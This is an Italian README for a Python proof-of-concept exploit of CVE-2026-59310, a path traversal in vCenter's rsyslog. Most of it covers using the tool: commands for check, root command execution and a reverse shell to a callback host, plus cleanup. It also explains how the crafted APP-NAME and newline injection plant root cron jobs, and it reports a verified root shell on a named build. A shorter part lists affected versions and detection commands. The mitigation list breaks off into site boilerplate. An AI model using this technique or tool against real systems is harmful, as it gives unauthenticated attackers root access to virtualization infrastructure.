
PoC in Python per CVE-2026-59310: sfrutta il path traversal di rsyslog in vCenter per scrivere file ed eseguire comandi come root tramite cron, con modalità check, exec, shell e cleanup.
English | 中文
Fork ottimizzato di ChinaRan0/CVE-2026-59310-POC. L'analisi della vulnerabilità segue quel progetto. Questa versione rielabora il client e la documentazione per i test autorizzati: sottocomandi, un cron job one-shot e una shell interattiva su un PTY remoto.
Solo uso autorizzato. Esegui questo strumento solo contro sistemi per i quali hai esplicita autorizzazione scritta a eseguire test. Sei responsabile del rispetto delle leggi locali e di qualsiasi impatto sul target.
| CVE | CVE-2026-59310 |
| Advisory | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Critico |
| Debolezza | Path traversal in vCenter rsyslog → scrittura arbitraria di file → esecuzione di codice come root |
| Privilegi richiesti | Nessuno. È sufficiente l'accesso di rete a syslog (UDP/TCP 514) |
| Corretto in | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | Questo fork | |
|---|---|---|
| CLI | -c, --lhost e --check su un unico parser | Sottocomandi check, exec, shell, cleanup |
| Cron | Si ripete ogni minuto | Elimina il proprio file, poi viene eseguito una sola volta |
| Quoting | Testo del comando concatenato nella shell | shlex.quote, così le virgolette non possono spezzare la riga cron |
| Shell | Prompt falso locale, una riga alla volta | PTY remoto, relay dei tasti, colori remoti e completamento con Tab |
| Pulizia | Suggerimenti rm stampati | Installa un job one-shot che rimuove gli artefatti per --id |
| Listener | Associato a 0.0.0.0 | --bind seleziona l'indirizzo locale |
shell richiede python3 sul target. vCenter Server Appliance lo include. La sessione usa pty.spawn così la shell dispone di un terminale reale.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec e shell scrivono un file cron che crond esegue circa 60 secondi dopo, una sola volta. cleanup senza --id rimuove ogni artefatto che usa il prefisso cve59310.
| Opzione | Significato |
|---|---|
--port | Porta syslog. Predefinita 514. |
--tcp | Invia syslog su TCP invece che su UDP. |
--id | Id dell'artefatto: 1–32 caratteri, [a-z0-9]. Casuale se omesso. |
-q | Sopprime il banner. |
exec| Opzione | Significato |
|---|---|
-c / --cmd | Comando da eseguire. stdout e stderr combinati vanno in /tmp/cve59310_<id>.txt. |
--wait | Esegue polling finché il file di output è leggibile, o fino al timeout. |
--timeout | Secondi per --wait. Predefinito 180. |
--read-command | Template argv locale. {path} è il percorso di output remoto. |
--wait richiede --read-command, ad esempio ssh root@target cat {path}. Il template viene suddiviso con shlex e non viene passato attraverso una shell locale. Un comando come a; b viene raggruppato come { a; b; } > file, così entrambe le parti vengono catturate.
shell| Opzione | Significato |
|---|---|
--lhost / --lport | Indirizzo e porta a cui il target si riconnette. Porta predefinita 4444. |
--bind | Indirizzo di ascolto locale. Predefinito 0.0.0.0. |
--method {bash,python} | Quale programma apre il socket. Predefinito bash. Entrambi usano poi il python3 del target per allocare un PTY. |
--timeout | Secondi di attesa per il callback. Predefinito 180. |
Il prompt, i colori e il completamento con Tab provengono dalla bash del target. Ctrl+] chiude il lato locale. exit esce dalla shell remota. Eseguire shell in un terminale reale; un client con buffering per riga non può completare.
| Azione | Percorso |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log e /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, rimosso dal job stesso dopo l'esecuzione |
Annotare --id. cleanup <target> --id <id> elimina quella esecuzione. Senza --id, il job di cleanup elimina l'intero prefisso cve59310.
| Target | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Build corretta | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Entry | UDP/TCP 514, senza autenticazione |
Su quella build, check crea un file di proprietà di root sotto /tmp, exec con id restituisce uid=0(root) dopo circa un minuto, e shell presenta il prompt del target (root [ / ]#, inclusi i suoi colori).
Qualsiasi versione precedente alla build corretta nel proprio ramo. vCenter standalone è interessato, così come i componenti vCenter in VMware Cloud Foundation, vSphere Foundation e Telco Cloud.
| Ramo | Interessato | Corretto |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | tutte | Aggiornare a 8.0 U3k o successivo |
| 7.0 | privo della patch corrispondente | Ottenere la patch da Broadcom, o passare a una release supportata |
/sdk/vimServiceVersions.xml riporta il namespace API (spesso 9.0.0.0), non la build dell'appliance. Confermare la build con /etc/vmware-release e /etc/applmgmt/appliance/version.
La configurazione rsyslog di vCenter interpola %app-name% nel percorso di log e lascia $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 tronca APP-NAME in corrispondenza di /. pmrfc5424 non lo fa, e il ruleset predefinito accetta RFC5424. Un APP-NAME appositamente costruito come rsyslog/../../../../tmp/x viene quindi scritto al di fuori di /var/log/vmware/ come file *-syslog.log di proprietà di root. Un carattere di nuova riga nel corpo del messaggio consente a una riga di cron di iniziare dalla colonna 0, così crond la esegue come root. Il nome del file termina sempre con -syslog.log, motivo per cui il file cron risiede sotto /etc/cron.d/ anziché sostituire un crontab senza suffisso.
| Parser | Valore di %app-name% per rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
L'avviso del fornitore descrive anche la scrittura sotto /opt/vmware/share/htdocs/ e la sua rilettura tramite https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
I file *-syslog.log al di fuori delle directory di log, e le directory i cui nomi contengono .., sono i residui abituali. rsyslog crea le directory padre mancanti quando il template esce dall'albero dei log.
Aggiorna. Sul ramo 9.0 la build minima corretta è 9.0.2.0100 (Build 25629525).
Fino a quell'aggiornamento:
Scopri gli strumenti più utilizzati dalla nostra community.
Nessun dato di popolarità ancora.